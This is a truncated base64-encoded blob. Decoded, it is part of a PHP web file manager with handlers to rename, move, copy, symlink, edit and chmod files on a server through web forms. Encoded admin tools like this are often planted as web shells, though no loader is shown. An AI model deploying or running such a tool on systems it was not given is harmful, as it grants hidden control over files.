3NhZ2UpOw0KDQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCic7DQoNCgkJcmVxdWVzdF9kdW1wKCk7DQoNCgkJZWNobyAiXHQ8Yj4iIC4gd29yZCgncmVhbGx5X2RlbGV0ZScpIC4gJzwvYj4NCgk8cD4NCic7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cbiI7DQoJCX0NCg0KCQllY2hvICcJPC9wPg0KCTxociAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5vIiB2YWx1ZT0iJyAuIHdvcmQoJ25vJykgLiAnIiBpZD0icmVkX2J1dHRvbiIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ5ZXMiIHZhbHVlPSInIC4gd29yZCgneWVzJykgLiAnIiBpZD0iZ3JlZW5fYnV0dG9uIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDUwcHgiIC8+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdyZW5hbWUnOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7DQoNCgkJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJlY3RvcnkpOw0KDQoJCWlmICghQGZpbGVfZXhpc3RzKCRkZXN0KSAmJiBAcmVuYW1lKCRmaWxlLCAkZGVzdCkpIHsNCgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3JlbmFtZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X3JlbmFtZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJfQ0KDQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InJlbmFtZSIgLz4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGI+JyAuIHdvcmQoJ3JlbmFtZV9maWxlJykgLiAnPC9iPg0KCTxwPicgLiBodG1sKCRmaWxlKSAuICc8L3A+DQoJPGhyIC8+DQoJJyAuIHdvcmQoJ2Rlc3RpbmF0aW9uJykgLiAnOg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZXN0aW5hdGlvbiIgc2l6ZT0iJyAuIHRleHRmaWVsZHNpemUoJGZpbGUpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdyZW5hbWUnKSAuICciIC8+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdtb3ZlJzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgew0KDQoJCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsNCg0KCQkkZmFpbHVyZSA9IGFycmF5KCk7DQoJCSRzdWNjZXNzID0gYXJyYXkoKTsNCg0KCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCSRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZSwgc3RybGVuKCRkaXJlY3RvcnkpKTsNCgkJCSRkID0gJGRlc3QgLiAkZmlsZW5hbWU7DQoJCQlpZiAoIUBmaWxlX2V4aXN0cygkZCkgJiYgQHJlbmFtZSgkZmlsZSwgJGQpKSB7DQoJCQkJJHN1Y2Nlc3NbXSA9ICRmaWxlOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmFpbHVyZVtdID0gJGZpbGU7DQoJCQl9DQoJCX0NCg0KCQkkbWVzc2FnZSA9ICcnOw0KCQlpZiAoc2l6ZW9mKCRmYWlsdXJlKSA+IDApIHsNCgkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9tb3ZlZCcsIGltcGxvZGUoIlxuIiwgJGZhaWx1cmUpLCAkZGVzdCk7DQoJCX0NCgkJaWYgKHNpemVvZigkc3VjY2VzcykgPiAwKSB7DQoJCQkkbWVzc2FnZSAuPSBub3RpY2UoJ21vdmVkJywgaW1wbG9kZSgiXG4iLCAkc3VjY2VzcyksICRkZXN0KTsNCgkJfQ0KDQoJCWxpc3RpbmdfcGFnZSgkbWVzc2FnZSk7DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJZWNobyAnPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQonOw0KDQoJCXJlcXVlc3RfZHVtcCgpOw0KDQoJCWVjaG8gIlx0PGI+IiAuIHdvcmQoJ21vdmVfZmlsZXMnKSAuICc8L2I+DQoJPHA+DQonOw0KDQoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KCQkJZWNobyAiXHQiIC4gaHRtbCgkZmlsZSkgLiAiPGJyIC8+XG4iOw0KCQl9DQoNCgkJZWNobyAnCTwvcD4NCgk8aHIgLz4NCgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6DQoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdtb3ZlJykgLiAnIiAvPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY29weSc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJaWYgKEBpc19kaXIoJGRlc3QpKSB7DQoNCgkJCSRmYWlsdXJlID0gYXJyYXkoKTsNCgkJCSRzdWNjZXNzID0gYXJyYXkoKTsNCg0KCQkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQkJJGZpbGVuYW1lID0gc3Vic3RyKCRmaWxlLCBzdHJsZW4oJGRpcmVjdG9yeSkpOw0KCQkJCSRkID0gYWRkc2xhc2goJGRlc3QpIC4gJGZpbGVuYW1lOw0KCQkJCWlmICghQGlzX2RpcigkZmlsZSkgJiYgIUBmaWxlX2V4aXN0cygkZCkgJiYgQGNvcHkoJGZpbGUsICRkKSkgew0KCQkJCQkkc3VjY2Vzc1tdID0gJGZpbGU7DQoJCQkJfSBlbHNlIHsNCgkJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOw0KCQkJCX0NCgkJCX0NCg0KCQkJJG1lc3NhZ2UgPSAnJzsNCgkJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgew0KCQkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9jb3BpZWQnLCBpbXBsb2RlKCJcbiIsICRmYWlsdXJlKSwgJGRlc3QpOw0KCQkJfQ0KCQkJaWYgKHNpemVvZigkc3VjY2VzcykgPiAwKSB7DQoJCQkJJG1lc3NhZ2UgLj0gbm90aWNlKCdjb3BpZWQnLCBpbXBsb2RlKCJcbiIsICRzdWNjZXNzKSwgJGRlc3QpOw0KCQkJfQ0KDQoJCQlsaXN0aW5nX3BhZ2UoJG1lc3NhZ2UpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWlmICghQGZpbGVfZXhpc3RzKCRkZXN0KSAmJiBAY29weSgkZmlsZSwgJGRlc3QpKSB7DQoJCQkJbGlzdGluZ19wYWdlKG5vdGljZSgnY29waWVkJywgJGZpbGUsICRkZXN0KSk7DQoJCQl9IGVsc2Ugew0KCQkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NvcGllZCcsICRmaWxlLCAkZGVzdCkpOw0KCQkJfQ0KDQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCic7DQoNCgkJcmVxdWVzdF9kdW1wKCk7DQoNCgkJZWNobyAiXG48Yj4iIC4gd29yZCgnY29weV9maWxlcycpIC4gJzwvYj4NCgk8cD4NCic7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cbiI7DQoJCX0NCg0KCQllY2hvICcJPC9wPg0KCTxociAvPg0KCScgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzoNCgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJyAuIHdvcmQoJ2NvcHknKSAuICciIC8+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdjcmVhdGVfc3ltbGluayc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJaWYgKHN1YnN0cigkZGVzdCwgLTEsIDEpID09ICRkZWxpbSkgJGRlc3QgLj0gYmFzZW5hbWUoJGZpbGUpOw0KDQoJCWlmICghZW1wdHkoJF9QT1NUWydyZWxhdGl2ZSddKSkgJGZpbGUgPSBhYnNvbHV0ZTJyZWxhdGl2ZShhZGRzbGFzaChkaXJuYW1lKCRkZXN0KSksICRmaWxlKTsNCg0KCQlpZiAoIUBmaWxlX2V4aXN0cygkZGVzdCkgJiYgQHN5bWxpbmsoJGZpbGUsICRkZXN0KSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgnc3ltbGlua2VkJywgJGZpbGUsICRkZXN0KSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9zeW1saW5rZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJfQ0KDQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJkaWFsb2ciIGlkPSJzeW1saW5rIj4NCjx0cj4NCgk8dGQgc3R5bGU9InZlcnRpY2FsLWFsaWduOiB0b3AiPicgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzogPC90ZD4NCgk8dGQ+DQoJCTxiPicgLiBodG1sKCRmaWxlKSAuICc8L2I+PGJyIC8+DQoJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icmVsYXRpdmUiIHZhbHVlPSJ5ZXMiIGlkPSJjaGVja2JveF9yZWxhdGl2ZSIgY2hlY2tlZD0iY2hlY2tlZCIgc3R5bGU9Im1hcmdpbi10b3A6IDFleCIgLz4NCgkJPGxhYmVsIGZvcj0iY2hlY2tib3hfcmVsYXRpdmUiPicgLiB3b3JkKCdyZWxhdGl2ZScpIC4gJzwvbGFiZWw+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImNyZWF0ZV9zeW1saW5rIiAvPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KCTwvdGQ+DQo8L3RyPg0KPHRyPg0KCTx0ZD4nIC4gd29yZCgnc3ltbGluaycpIC4gJzogPC90ZD4NCgk8dGQ+DQoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZXN0aW5hdGlvbiIgc2l6ZT0iJyAuIHRleHRmaWVsZHNpemUoJGRpcmVjdG9yeSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJyAuIHdvcmQoJ2NyZWF0ZV9zeW1saW5rJykgLiAnIiAvPg0KCTwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHA+PGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICciPlsgJyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+DQoNCjwvZm9ybT4NCg0KJzsNCg0KCQlodG1sX2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2VkaXQnOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ3NhdmUnXSkpIHsNCg0KCQkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJF9QT1NUWydjb250ZW50J10pOw0KDQoJCWlmICgoJGYgPSBAZm9wZW4oJGZpbGUsICd3JykpICYmIEBmd3JpdGUoJGYsICRjb250ZW50KSAhPT0gZmFsc2UgJiYgQGZjbG9zZSgkZikpIHsNCgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3NhdmVkJywgJGZpbGUpKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X3NhdmVkJywgJGZpbGUpKTsNCgkJfQ0KDQoJfSBlbHNlIHsNCg0KCQlpZiAoQGlzX3JlYWRhYmxlKCRmaWxlKSAmJiBAaXNfd3JpdGFibGUoJGZpbGUpKSB7DQoJCQllZGl0KCRmaWxlKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2VkaXRlZCcsICRmaWxlKSk7DQoJCX0NCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdwZXJtaXNzaW9uJzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydzZXQnXSkpIHsNCg0KCQkkbW9kZSA9IDA7DQoJCWlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkgJG1vZGUgfD0gMDQwMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ3V3J10pKSAkbW9kZSB8PSAwMjAwOyBpZiAoIWVtcHR5KCRfUE9TVFsndXgnXSkpICRtb2RlIHw9IDAxMDA7DQoJCWlmICghZW1wdHkoJF9QT1NUWydnciddKSkgJG1vZGUgfD0gMDA0MDsgaWYgKCFlbXB0eSgkX1BPU1RbJ2d3J10pKSAkbW9kZSB8PSAwMDIwOyBpZiAoIWVtcHR5KCRfUE9TVFsnZ3gnXSkpICRtb2RlIHw9IDAwMTA7DQoJCWlmICghZW1wdHkoJF9QT1NUWydvciddKSkgJG1vZGUgfD0gMDAwNDsgaWYgKCFlbXB0eSgkX1BPU1RbJ293J10pKSAkbW9kZSB8PSAwMDAyOyBpZiAoIWVtcHR5KCRfUE9TVFsnb3gnXSkpICRtb2RlIHw9IDAwMDE7DQoNCgkJaWYgKEBjaG1vZCgkZmlsZSwgJG1vZGUpKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdwZXJtaXNzaW9uX3NldCcsICRmaWxlLCBkZWNvY3QoJG1vZGUpKSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ3Blcm1pc3Npb25fbm90X3NldCcsICRmaWxlLCBkZWNvY3QoJG1vZGUpKSk7DQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQkkbW9kZSA9IGZpbGVwZXJtcygkZmlsZSk7DQoNCgkJZWNobyAnPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQoNCgk8cCBzdHlsZT0ibWFyZ2luOiAwIj4nIC4gcGhyYXNlKCdwZXJtaXNzaW9uX2ZvcicsICRmaWxlKSAuICc8L3A+DQoNCgk8aHIgLz4NCg0KCTx0YWJsZSBpZD0icGVybWlzc2lvbiI+DQoJPHRyPg0KCQk8dGQ+PC90ZD4NCgkJPHRkIHN0eWxlPSJib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBibGFjayI+JyAuIHdvcmQoJ293bmVyJykgLiAnPC90ZD4NCgkJPHRkIHN0eWxlPSJib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBibGFjayI+JyAuIHdvcmQoJ2dyb3VwJykgLiAnPC90ZD4NCgkJPHRkPicgLiB3b3JkKCdvdGhlcicpIC4gJzwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJCTx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPicgLiB3b3JkKCdyZWFkJykgLiAnOjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InVyIiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDQwMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3IiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDQwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvciIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMDQpIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJCTx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPicgLiB3b3JkKCd3cml0ZScpIC4gJzo8L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1dyIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAyMDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd3IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAyMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3ciIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDAyKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgnZXhlY3V0ZScpIC4gJzo8L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1eCIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAxMDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd4IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAxMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3giIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDAxKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxociAvPg0KDQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2V0IiB2YWx1ZT0iJyAuIHdvcmQoJ3NldCcpIC4gJyIgLz4NCg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InBlcm1pc3Npb24iIC8+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpkZWZhdWx0Og0KDQoJbGlzdGluZ19wYWdlKCk7DQoNCn0NCg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLw0KDQpmdW5jdGlvbiBnZXRsaXN0ICgkZGlyZWN0b3J5KSB7DQoJZ2xvYmFsICRkZWxpbSwgJHdpbjsNCg0KCWlmICgkZCA9IEBvcGVuZGlyKCRkaXJlY3RvcnkpKSB7DQoNCgkJd2hpbGUgKCgkZmlsZW5hbWUgPSBAcmVhZGRpcigkZCkpICE9PSBmYWxzZSkgew0KDQoJCQkkcGF0aCA9ICRkaXJlY3RvcnkgLiAkZmlsZW5hbWU7DQoNCgkJCWlmICgkc3RhdCA9IEBsc3RhdCgkcGF0aCkpIHsNCg0KCQkJCSRmaWxlID0gYXJyYXkoDQoJCQkJCSdmaWxlbmFtZScgICAgPT4gJGZpbGVuYW1lLA0KCQkJCQkncGF0aCcgICAgICAgID0+ICRwYXRoLA0KCQkJCQknaXNfZmlsZScgICAgID0+IEBpc19maWxlKCRwYXRoKSwNCgkJCQkJJ2lzX2RpcicgICAgICA9PiBAaXNfZGlyKCRwYXRoKSwNCgkJCQkJJ2lzX2xpbmsnICAgICA9PiBAaXNfbGluaygkcGF0aCksDQoJCQkJCSdpc19yZWFkYWJsZScgPT4gQGlzX3JlYWRhYmxlKCRwYXRoKSwNCgkJCQkJJ2lzX3dyaXRhYmxlJyA9PiBAaXNfd3JpdGFibGUoJHBhdGgpLA0KCQkJCQknc2l6ZScgICAgICAgID0+ICRzdGF0WydzaXplJ10sDQoJCQkJCSdwZXJtaXNzaW9uJyAgPT4gJHN0YXRbJ21vZGUnXSwNCgkJCQkJJ293bmVyJyAgICAgICA9PiAkc3RhdFsndWlkJ10sDQoJCQkJCSdncm91cCcgICAgICAgPT4gJHN0YXRbJ2dpZCddLA0KCQkJCQknbXRpbWUnICAgICAgID0+IEBmaWxlbXRpbWUoJHBhdGgpLA0KCQkJCQknYXRpbWUnICAgICAgID0+IEBmaWxlYXRpbWUoJHBhdGgpLA0KCQkJCQknY3RpbWUnICAgICAgID0+IEBmaWxlY3RpbWUoJHBhdGgpDQoJCQkJKTsNCg0KCQkJCWlmICgkZmlsZVsnaXNfZGlyJ10pIHsNCgkJCQkJJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSA9IEBmaWxlX2V4aXN0cygkcGF0aCAuICRkZWxpbSAuICcuJyk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJaWYgKCEkd2luKSB7DQoJCQkJCQkkZmlsZVsnaXNfZXhlY3V0YWJsZSddID0gQGlzX2V4ZWN1dGFibGUoJHBhdGgpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJGZpbGVbJ2lzX2V4ZWN1dGFibGUnXSA9IHRydWU7DQoJCQkJCX0NCgkJCQl9DQoNCgkJCQlpZiAoJGZpbGVbJ2lzX2xpbmsnXSkgJGZpbGVbJ3RhcmdldCddID0gQHJlYWRsaW5rKCRwYXRoKTsNCg0KCQkJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpICRmaWxlWydvd25lcl9uYW1lJ10gPSBAcmVzZXQocG9zaXhfZ2V0cHd1aWQoJGZpbGVbJ293bmVyJ10pKTsNCgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSAkZmlsZVsnZ3JvdXBfbmFtZSddID0gQHJlc2V0KHBvc2l4X2dldGdyZ2lkKCRmaWxlWydncm91cCddKSk7DQoNCgkJCQkkZmlsZXNbXSA9ICRmaWxlOw0KDQoJCQl9DQoNCgkJfQ0KDQoJCXJldHVybiAkZmlsZXM7DQoNCgl9IGVsc2Ugew0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KDQp9DQoNCmZ1bmN0aW9uIHNvcnRsaXN0ICgmJGxpc3QsICRrZXksICRyZXZlcnNlKSB7DQoNCglxdWlja3NvcnQoJGxpc3QsIDAsIHNpemVvZigkbGlzdCkgLSAxLCAka2V5KTsNCg0KCWlmICgkcmV2ZXJzZSkgJGxpc3QgPSBhcnJheV9yZXZlcnNlKCRsaXN0KTsNCg0KfQ0KDQpmdW5jdGlvbiBxdWlja3NvcnQgKCYkYXJyYXksICRmaXJzdCwgJGxhc3QsICRrZXkpIHsNCg0KCWlmICgkZmlyc3QgPCAkbGFzdCkgew0KDQoJCSRjbXAgPSAkYXJyYXlbZmxvb3IoKCRmaXJzdCArICRsYXN0KSAvIDIpXVska2V5XTsNCg0KCQkkbCA9ICRmaXJzdDsNCgkJJHIgPSAkbGFzdDsNCg0KCQl3aGlsZSAoJGwgPD0gJHIpIHsNCg0KCQkJd2hpbGUgKCRhcnJheVskbF1bJGtleV0gPCAkY21wKSAkbCsrOw0KCQkJd2hpbGUgKCRhcnJheVskcl1bJGtleV0gPiAkY21wKSAkci0tOw0KDQoJCQlpZiAoJGwgPD0gJHIpIHsNCg0KCQkJCSR0bXAgPSAkYXJyYXlbJGxdOw0KCQkJCSRhcnJheVskbF0gPSAkYXJyYXlbJHJdOw0KCQkJCSRhcn